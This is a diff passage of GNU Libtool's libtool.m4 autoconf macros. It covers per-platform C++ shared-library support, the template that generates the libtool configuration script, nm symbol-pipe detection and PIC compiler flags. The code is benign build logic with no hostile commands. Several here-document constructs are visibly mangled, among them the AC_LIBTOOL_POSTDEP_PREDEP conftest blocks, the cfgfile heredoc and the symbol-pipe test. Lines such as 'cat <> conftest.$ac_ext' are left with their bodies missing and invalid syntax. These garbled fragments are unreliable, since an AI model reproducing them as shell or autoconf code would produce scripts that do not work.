+ + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + fi + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir' + fi + ;; + esac + ;; + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + vxworks*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; +esac +AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)]) +test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no + +_LT_AC_TAGVAR(GCC, $1)="$GXX" +_LT_AC_TAGVAR(LD, $1)="$LD" + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +AC_LIBTOOL_POSTDEP_PREDEP($1) +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP +AC_LIBTOOL_DLOPEN_SELF($1) + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_POP +CC=$lt_save_CC +LDCXX=$LD +LD=$lt_save_LD +GCC=$lt_save_GCC +with_gnu_ldcxx=$with_gnu_ld +with_gnu_ld=$lt_save_with_gnu_ld +lt_cv_path_LDCXX=$lt_cv_path_LD +lt_cv_path_LD=$lt_save_path_LD +lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld +lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld +])# AC_LIBTOOL_LANG_CXX_CONFIG + +# AC_LIBTOOL_POSTDEP_PREDEP([TAGNAME]) +# ------------------------ +# Figure out "hidden" library dependencies from verbose +# compiler output when linking a shared library. +# Parse the compiler output and extract the necessary +# objects, libraries and library flags. +AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP],[ +dnl we can't use the lt_simple_compile_test_code here, +dnl because it contains code intended for an executable, +dnl not a library. It's possible we should let each +dnl tag define a new lt_????_link_test_code variable, +dnl but it's only used here... +ifelse([$1],[],[cat > conftest.$ac_ext < conftest.$ac_ext < conftest.$ac_ext < conftest.$ac_ext <> "$cfgfile" +ifelse([$1], [], +[#! $SHELL + +# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services. +# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP) +# NOTE: Changes made to this file will be lost: look at ltmain.sh. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 +# Free Software Foundation, Inc. +# +# This file is part of GNU Libtool: +# Originally by Gordon Matzigkeit , 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# A sed program that does not truncate output. +SED=$lt_SED + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="$SED -e s/^X//" + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +# The names of the tagged configurations supported by this script. +available_tags= + +# ### BEGIN LIBTOOL CONFIG], +[# ### BEGIN LIBTOOL TAG CONFIG: $tagname]) + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$_LT_AC_TAGVAR(archive_cmds_need_lc, $1) + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1) + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_[]_LT_AC_TAGVAR(compiler, $1) + +# Is the compiler the GNU C compiler? +with_gcc=$_LT_AC_TAGVAR(GCC, $1) + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_[]_LT_AC_TAGVAR(LD, $1) + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_[]_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_static, $1) + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_[]_LT_AC_TAGVAR(export_dynamic_flag_spec, $1) + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_[]_LT_AC_TAGVAR(whole_archive_flag_spec, $1) + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_[]_LT_AC_TAGVAR(thread_safe_flag_spec, $1) + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_cmds, $1) +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_new_cmds, $1) + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) + +# Commands used to build and install a shared archive. +archive_cmds=$lt_[]_LT_AC_TAGVAR(archive_cmds, $1) +archive_expsym_cmds=$lt_[]_LT_AC_TAGVAR(archive_expsym_cmds, $1) +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_[]_LT_AC_TAGVAR(module_cmds, $1) +module_expsym_cmds=$lt_[]_LT_AC_TAGVAR(module_expsym_cmds, $1) + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_[]_LT_AC_TAGVAR(predep_objects, $1) + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_[]_LT_AC_TAGVAR(postdep_objects, $1) + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_[]_LT_AC_TAGVAR(predeps, $1) + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_[]_LT_AC_TAGVAR(postdeps, $1) + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_[]_LT_AC_TAGVAR(compiler_lib_search_path, $1) + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_[]_LT_AC_TAGVAR(allow_undefined_flag, $1) + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_[]_LT_AC_TAGVAR(no_undefined_flag, $1) + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$_LT_AC_TAGVAR(hardcode_action, $1) + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1) + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_separator, $1) + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$_LT_AC_TAGVAR(hardcode_direct, $1) + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$_LT_AC_TAGVAR(hardcode_minus_L, $1) + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1) + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$_LT_AC_TAGVAR(hardcode_automatic, $1) + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$_LT_AC_TAGVAR(link_all_deplibs, $1) + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$_LT_AC_TAGVAR(fix_srcfile_path, $1)" + +# Set to yes if exported symbols are required. +always_export_symbols=$_LT_AC_TAGVAR(always_export_symbols, $1) + +# The commands to list exported symbols. +export_symbols_cmds=$lt_[]_LT_AC_TAGVAR(export_symbols_cmds, $1) + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_[]_LT_AC_TAGVAR(exclude_expsyms, $1) + +# Symbols that must always be exported. +include_expsyms=$lt_[]_LT_AC_TAGVAR(include_expsyms, $1) + +ifelse([$1],[], +[# ### END LIBTOOL CONFIG], +[# ### END LIBTOOL TAG CONFIG: $tagname]) + +__EOF__ + +ifelse([$1],[], [ + case $host_os in + aix3*) + cat <<\EOF >> "$cfgfile" + +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +EOF + ;; + esac + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1) + + mv -f "$cfgfile" "$ofile" || \ + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" +]) +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi +])# AC_LIBTOOL_CONFIG + + +# AC_LIBTOOL_PROG_COMPILER_NO_RTTI([TAGNAME]) +# ------------------------------------------- +AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], +[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl + +_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= + +if test "$GCC" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' + + AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions], + lt_cv_prog_compiler_rtti_exceptions, + [-fno-rtti -fno-exceptions], [], + [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"]) +fi +])# AC_LIBTOOL_PROG_COMPILER_NO_RTTI + + +# AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE +# --------------------------------- +AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], +[AC_REQUIRE([AC_CANONICAL_HOST]) +AC_REQUIRE([AC_PROG_NM]) +AC_REQUIRE([AC_OBJEXT]) +# Check for command to grab the raw symbol name followed by C symbol from nm. +AC_MSG_CHECKING([command to parse $NM output from $compiler object]) +AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe], +[ +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[[BCDEGRST]]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)' + +# Transform the above into a raw symbol and a C symbol. +symxfrm='\1 \2\3 \3' + +# Transform an extracted symbol line into a proper C declaration +lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[[BCDT]]' + ;; +cygwin* | mingw* | pw32*) + symcode='[[ABCDGISTW]]' + ;; +hpux*) # Its linker distinguishes data from code symbols + if test "$host_cpu" = ia64; then + symcode='[[ABCDEGRST]]' + fi + lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" + lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + ;; +irix* | nonstopux*) + symcode='[[BCDEGRST]]' + ;; +osf*) + symcode='[[BCDEGQRST]]' + ;; +solaris* | sysv5*) + symcode='[[BDRT]]' + ;; +sysv4) + symcode='[[DFNSTU]]' + ;; +esac + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[[ABCDGIRSTW]]' ;; +esac + +# Try without a prefix undercore, then with it. +for ac_symprfx in "" "_"; do + + # Write the raw and C identifiers. + lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*\($ac_symprfx\)$sympat$opt_cr$/$symxfrm/p'" + + # Check to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext < $nlist) && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if grep ' nm_test_var$' "$nlist" >/dev/null; then + if grep ' nm_test_func$' "$nlist" >/dev/null; then + cat < conftest.$ac_ext +#ifdef __cplusplus +extern "C" { +#endif + +EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext' + + cat <> conftest.$ac_ext +#if defined (__STDC__) && __STDC__ +# define lt_ptr_t void * +#else +# define lt_ptr_t char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +const struct { + const char *name; + lt_ptr_t address; +} +lt_preloaded_symbols[[]] = +{ +EOF + $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext + cat <<\EOF >> conftest.$ac_ext + {0, (lt_ptr_t) 0} +}; + +#ifdef __cplusplus +} +#endif +EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_save_LIBS="$LIBS" + lt_save_CFLAGS="$CFLAGS" + LIBS="conftstm.$ac_objext" + CFLAGS="$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)" + if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then + pipe_works=yes + fi + LIBS="$lt_save_LIBS" + CFLAGS="$lt_save_CFLAGS" + else + echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD + fi + else + echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD + cat conftest.$ac_ext >&5 + fi + rm -f conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test "$pipe_works" = yes; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done +]) +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + AC_MSG_RESULT(failed) +else + AC_MSG_RESULT(ok) +fi +]) # AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE + + +# AC_LIBTOOL_PROG_COMPILER_PIC([TAGNAME]) +# --------------------------------------- +AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC], +[_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)= +_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= +_LT_AC_TAGVAR(lt_prog_compiler_static, $1)= + +AC_MSG_CHECKING([for $compiler option to produce PIC]) + ifelse([$1],[CXX],[ + # C++ specific cases for pic, static, wl, etc. + if test "$GXX" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + mingw* | os2* | pw32*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + *djgpp*) + # DJGPP does not support shared libraries at all + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + else + case $host_os in + aix4* | aix5*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + chorus*) + case $cc_basename in + cxch68) + # Green Hills C++ Compiler + # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" + ;; + esac + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + ;; + esac + ;; + dgux*) + case $cc_basename in + ec++) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + ghcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD uses GNU C++ + ;; + hpux9* | hpux10* | hpux11*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + if test "$host_cpu" != ia64; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + fi + ;; + aCC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + ;; + *) + ;; + esac + ;; + irix5* | irix6* | nonstopux*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + # CC pic flag -KPIC is the default. + ;; + *) + ;; + esac + ;; + linux*) + case $cc_basename in + KCC) + # KAI C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + icpc) + # Intel C++ + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + cxx) + # Compaq C++ + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + *) + ;; + esac + ;; + lynxos*) + ;; + m88k*) + ;; + mvs*) + case $cc_basename in + cxx) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall' + ;; + *) + ;; + esac + ;; + netbsd*) + ;; + osf3* | osf4* | osf5*) + case $cc_basename in + KCC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + ;; + RCC) + # Rational C++ 2.4.1 + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + cxx) + # Digital/Compaq C++ + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + *) + ;; + esac + ;; + psos*) + ;; + sco*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + *) + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + ;; + gcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + ;; + *) + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + lcc) + # Lucid + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + *) + ;; + esac + ;; + unixware*) + ;; + vxworks*) + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +], +[ + if test "$GCC" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + 